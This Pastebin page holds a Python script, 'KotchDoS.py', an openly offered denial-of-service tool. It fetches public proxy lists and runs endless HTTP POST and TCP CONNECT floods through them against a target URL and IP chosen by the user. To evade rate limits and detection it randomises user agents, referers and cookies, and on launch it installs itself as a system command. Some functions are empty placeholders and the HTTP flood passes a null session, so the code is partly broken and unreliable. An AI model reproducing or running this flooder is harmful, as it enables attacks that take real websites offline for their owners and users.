Advertisement
Sweetening

KotchDoS.py

Jul 22nd, 2024
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.38 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import random
  4. import threading
  5. import asyncio
  6. import aiohttp
  7. import socket
  8. import argparse
  9. import subprocess
  10. import os
  11. import sys
  12. import logging
  13.  
  14. # Set up logging
  15. logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
  16. logger = logging.getLogger(__name__)
  17.  
  18. # Configuration
  19. TARGET_URL = "http://website-url.com"
  20. TARGET_IP = "website-ip"
  21. TARGET_PORT = 80
  22. NUM_THREADS = 100
  23.  
  24. # ASCII Banner
  25. BANNER = """
  26. █████ ████ ███████ ███████████ █████████ █████ █████ ██████████ █████████
  27. ░░███ ███░ ███░░░░░███ ░█░░░███░░░█ ███░░░░░███░░███ ░░███ ░░███░░░░███ ███░░░░░███
  28. ░███ ███ ███ ░░███░ ░███ ░ ███ ░░░ ░███ ░███ ░███ ░░███ ██████ ░███ ░░░
  29. ░███████ ░███ ░███ ░███ ░███ ░███████████ ░███ ░███ ███░░███░░█████████
  30. ░███░░███ ░███ ░███ ░███ ░███ ░███░░░░░███ ░███ ░███░███ ░███ ░░░░░░░░███
  31. ░███ ░░███ ░░███ ███ ░███ ░░███ ███ ░███ ░███ ░███ ███ ░███ ░███ ███ ░███
  32. █████ ░░████ ░░░███████░ █████ ░░█████████ █████ █████ ██████████ ░░██████ ░░█████████
  33. ░░░░░ ░░░░ ░░░░░░░ ░░░░░ ░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░ ░░░░░░ ░░░░░░░░░
  34. """
  35.  
  36. # Class to handle attack profile
  37. class AttackProfile:
  38. def __init__(self):
  39. self.endpoints = [
  40. '/api/v1/data',
  41. '/api/v2/query',
  42. '/app/login',
  43. '/api/v3/user',
  44. '/api/v4/transaction',
  45. ]
  46.  
  47. def generate_payload(self):
  48. endpoint = random.choice(self.endpoints)
  49. params = {'param1': random.randint(1, 100), 'param2': 'value'}
  50. payload = f"{endpoint}?{'&'.join([f'{k}={v}' for k, v in params.items()])}"
  51. return payload
  52.  
  53. def simulate_complex_behavior(self):
  54. payloads = [self.generate_payload() for _ in range(random.randint(2, 5))]
  55. return payloads
  56.  
  57. # Fetch proxies from given URLs
  58. async def fetch_proxies(url):
  59. try:
  60. async with aiohttp.ClientSession() as session:
  61. async with session.get(url) as response:
  62. if response.status == 200:
  63. proxies = await response.text()
  64. return proxies.splitlines()
  65. else:
  66. logger.error(f"Failed to fetch proxies from {url}: HTTP {response.status}")
  67. return []
  68. except Exception as e:
  69. logger.error(f"Error fetching proxies from {url}: {e}")
  70. return []
  71.  
  72. # Fetch all types of proxies
  73. async def fetch_optimized_proxies():
  74. proxy_sources = [
  75. "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=HTTP",
  76. "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=SOCKS4",
  77. "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=SOCKS5"
  78. ]
  79. proxies = []
  80. for url in proxy_sources:
  81. proxies.extend(await fetch_proxies(url))
  82. return proxies
  83.  
  84. # XML-RPC Flood function
  85. async def xmlrpc_flood(session, proxy, attack_profile):
  86. while True:
  87. try:
  88. session.proxies = {"http": proxy, "https": proxy}
  89. payloads = attack_profile.simulate_complex_behavior()
  90. encrypted_payloads = [encrypt_payload(payload) for payload in payloads]
  91.  
  92. headers = {
  93. "User-Agent": generate_random_user_agent(),
  94. "Accept-Encoding": "gzip, deflate",
  95. "Connection": "keep-alive",
  96. "Referer": generate_referer_header(),
  97. "Cookie": generate_cookie_value(),
  98. "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  99. "Content-Type": "application/x-www-form-urlencoded",
  100. "X-Requested-With": "XMLHttpRequest"
  101. }
  102.  
  103. random.shuffle(encrypted_payloads)
  104. for encrypted_payload in encrypted_payloads:
  105. response = await session.post(TARGET_URL, headers=headers, data=encrypted_payload, timeout=5)
  106. logger.info(f"Response Status: {response.status}")
  107.  
  108. if response.status == 429:
  109. await asyncio.sleep(10)
  110. elif response.status == 503:
  111. await asyncio.sleep(5)
  112. else:
  113. await asyncio.sleep(random.uniform(0.1, 0.5))
  114.  
  115. except aiohttp.ClientError as ce:
  116. logger.error(f"Aiohttp ClientError: {ce}")
  117. await asyncio.sleep(1)
  118.  
  119. except Exception as e:
  120. logger.error(f"Error: {e}")
  121. await asyncio.sleep(1)
  122.  
  123. # TCP Flood function
  124. def tcp_flood(proxy, attack_profile):
  125. while True:
  126. try:
  127. proxy_parts = proxy.replace("http://", "").split(":")
  128. proxy_ip = proxy_parts[0]
  129. proxy_port = int(proxy_parts[1])
  130.  
  131. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  132. sock.connect((proxy_ip, proxy_port))
  133. sock.sendall(f"CONNECT {TARGET_IP}:{TARGET_PORT} HTTP/1.1\r\n\r\n".encode())
  134.  
  135. payloads = attack_profile.simulate_complex_behavior()
  136. encrypted_payloads = [encrypt_payload(payload) for payload in payloads]
  137.  
  138. random.shuffle(encrypted_payloads)
  139. for encrypted_payload in encrypted_payloads:
  140. sock.sendall(encrypted_payload.encode())
  141. response = sock.recv(4096)
  142. logger.info(f"TCP Response Length: {len(response)}")
  143.  
  144. sock.close()
  145. except Exception as e:
  146. logger.error(f"TCP Error: {e}")
  147.  
  148. # Helper functions for payload encryption and random values
  149. def generate_random_user_agent():
  150. user_agent = f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/{random.randint(500, 600)}.0 (KHTML, like Gecko) Chrome/{random.randint(80, 99)}.0.{random.randint(4000, 5000)}.0 Safari/{random.randint(500, 600)}.0"
  151. return user_agent
  152.  
  153. def encrypt_payload(payload):
  154. return payload # Placeholder for encryption
  155.  
  156. def hide_payload_in_image(payload, image_path):
  157. return image_path # Placeholder for image hiding
  158.  
  159. def generate_referer_header():
  160. return f"http://referer-{random.randint(1, 10)}.example.com"
  161.  
  162. def generate_cookie_value():
  163. return f"user_id={random.randint(1000, 9999)}; session_token={os.urandom(16).hex()}"
  164.  
  165. def display_banner():
  166. print(BANNER)
  167.  
  168. def display_usage():
  169. usage = """
  170. Usage: python script.py [options]
  171.  
  172. Options:
  173. -u, --url Target URL (default: http://website-url.com)
  174. -i, --ip Target IP address (default: website-ip)
  175. -p, --port Target port (default: 80)
  176. -t, --threads Number of threads (default: 100)
  177. -h, --help Display this help message
  178. """
  179. print(usage)
  180.  
  181. def install_as_command():
  182. script_name = os.path.basename(__file__)
  183. install_cmd = f"chmod +x {script_name} && ln -s {os.path.abspath(script_name)} /usr/local/bin/kotch"
  184. subprocess.call(install_cmd, shell=True)
  185.  
  186. async def main():
  187. parser = argparse.ArgumentParser(add_help=False)
  188. parser.add_argument('-u', '--url', default=TARGET_URL, help='Target URL')
  189. parser.add_argument('-i', '--ip', default=TARGET_IP, help='Target IP address')
  190. parser.add_argument('-p', '--port', type=int, default=TARGET_PORT, help='Target port')
  191. parser.add_argument('-t', '--threads', type=int, default=NUM_THREADS, help='Number of threads')
  192. parser.add_argument('-h', '--help', action='store_true', help='Display help message')
  193. args = parser.parse_args()
  194.  
  195. if args.help:
  196. display_banner()
  197. display_usage()
  198. return
  199.  
  200. display_banner()
  201.  
  202. global TARGET_URL, TARGET_IP, TARGET_PORT, NUM_THREADS
  203. TARGET_URL = args.url
  204. TARGET_IP = args.ip
  205. TARGET_PORT = args.port
  206. NUM_THREADS = args.threads
  207.  
  208. proxies = await fetch_optimized_proxies()
  209. attack_profile = AttackProfile()
  210.  
  211. tasks = [asyncio.create_task(xmlrpc_flood(None, proxy, attack_profile)) for proxy in proxies[:NUM_THREADS]]
  212. threads = [threading.Thread(target=tcp_flood, args=(proxy, attack_profile)) for proxy in proxies[:NUM_THREADS]]
  213.  
  214. for thread in threads:
  215. thread.start()
  216.  
  217. await asyncio.gather(*tasks)
  218.  
  219. for thread in threads:
  220. thread.join()
  221.  
  222. if __name__ == "__main__":
  223. install_as_command()
  224. asyncio.run(main())
  225.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement